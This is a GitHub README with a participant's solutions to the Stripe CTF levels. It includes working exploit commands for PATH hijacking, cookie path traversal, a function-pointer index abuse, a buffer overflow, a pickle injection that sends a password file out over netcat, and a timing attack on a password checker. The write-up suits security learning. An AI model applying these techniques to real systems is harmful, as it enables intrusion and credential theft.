Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time

Stripe CTF

My solutions to the Stripe CTF solution are as follows. Note that in many cases the code isn't very robust or workable. But was the minimum needed to complete the level.

Level 01

On observing that the system call within level01.c made an unchecked call to 'date' without a full path specified I created a local date file and set it to the local path.

level01@ctf:/tmp/tmp.8N0qqvoaVu$ echo 'cat /home/level02/.password' > date
level01@ctf:/tmp/tmp.8N0qqvoaVu$ export PATH=/tmp/tmp.8N0qqvoaVu:$PATH
level01@ctf:/tmp/tmp.8N0qqvoaVu$ chmod a+x date
level01@ctf:/tmp/tmp.8N0qqvoaVu$ /levels/level01
Current time: kxlVXUvzv

Level 02

Level 2 uses the contents of the client's cookie to read a file without escaping the contents. Via a browser I modified the cookie to the following and the password was printed on reloading the page.

Change cookie to ../../home/level03/.password

Level 03

I had never performed any sort of pointer arithmatic outside of an introductory CS course. So this was certainly a challenge for me. Outside of level 6 I think I spent more time on this level than any of the other ones.

On reading level 3's source code I noticed that it was executing the function via an array of pointers to functions. However the selection mechanism used an argument which only checked for positive numbers >= 3.

After spending some time with gdb I realized you could select a negative number which pointed to a specific location in the string buffer you pass as an argument. After some fiddling I provided the memory address of the deprecated run function.

level03@ctf4:/tmp/tmp.uuCAtV5Uog$ /levels/level03 -21 'cat /home/level04/.password;'$'\x5b'$'\x87'$'\x04'$'\x08'
sh: [: not found

Level 04

Like Level 03 I had never performed a buffer overflow before. I did some searching and came across the following which amounts to a buffer overflows for dummies. With some tweaking I was able to make it work for the level 4 binary. It works about 50% of the time. From what I understand Linux uses some sort of stack randomization to prevent this sort of attack. From reading other reports online there is a way to get a deterministic solution but I didn't take the time to explore that.

Offset:-994Address: 0xffa368fe
$ whoami
$ cat /home/level05/.password

Level 05

After looking at the python web server and running it locally. I noticed that it wasn't properly escaping user input and allowed me to pass an argument with executable code. I pickled up a simple exploit, started a netcat and passed it through.

level05@ctf4:/tmp/tmp.7mKxYf6M1c$ nc -l 9333 &
[1] 24599
level05@ctf4:/tmp/tmp.7mKxYf6M1c$ curl localhost:9020 -d "DATA; job: cos
(S'nc localhost 9333 < /home/level06/.password'
    "result": "Job timed out"
[1]+  Done                    nc -l 9333

Level 06

Of all the challenges this one took the most time. I had heard of and felt I understood the implementation of a timing attack before but had no idea how hard it would be to actually implement.

First I tried a quick program written in ruby to test the time taken to run the command, however I saw very little difference in how fast something failed. Given that I was initially testing for the difference between 1 and two variable checks and the precision of the ruby clock was only in nanoseconds this failed right away.

Then I tried an implementation that already existed online simply to see if it could work given that many of the servers were under heavy load and were being actively fork bombed. However the solution above failed to work for me as it seems to depend on the binary forking and reporting failure almost immediately which I wasn't even able to replicate locally.

Finally I settled on passing very large arguments to slow down the evaluation, similar to the solution above. Then timed each char read in microseconds via a small c program. The fork operation takes slightly longer to run than a normal character check and therefore with microsecond precision you can determine where the failure occured.

This solution worked perfectly for me locally but I had to tune it on Stripe's servers in order to get it to work. I'm not sure if I was reading the buffer incorrectly, the machine was overloaded or if my code just runs in a way that I'm not expecting. Either way with some fine tuning and extra sanity checks I was able to get it to run against the password file and produce the answer.

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ ruby ruby_wrapper.rb 
Suffix: 130772
Answer: t
Answer: th
Answer: the
Answer: thef
Answer: thefl
Answer: thefla
Answer: theflag
Answer: theflagl
Answer: theflagl0
Answer: theflagl0e
Answer: theflagl0eF
Answer: theflagl0eFT
Answer: theflagl0eFTt
{"I"=>1, "T"=>5}
Answer: theflagl0eFTtT
Answer: theflagl0eFTtT5
Answer: theflagl0eFTtT5o
Answer: theflagl0eFTtT5oi
Answer: theflagl0eFTtT5oi0
{"n"=>5, "r"=>1}
Answer: theflagl0eFTtT5oi0n
Answer: theflagl0eFTtT5oi0nO
Answer: theflagl0eFTtT5oi0nOT
{"x"=>5, "e"=>1}
Answer: theflagl0eFTtT5oi0nOTx
Answer: theflagl0eFTtT5oi0nOTxO
Answer: theflagl0eFTtT5oi0nOTxO5
Answer: theflagl0eFTtT5oi0nOTxO5

level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ /levels/level06 /home/the-flag/.password theflagl0eFTtT5oi0nOTxO5
Welcome to the password checker!
Wait, how did you know that the password was theflagl0eFTtT5oi0nOTxO5?

The Flag

You're able to login as the flag user but I couldn't find anything special or a secret next level. Perhaps I didn't look hard enough?



My Implementation of the Stripe CTF Challenge






No releases published


No packages published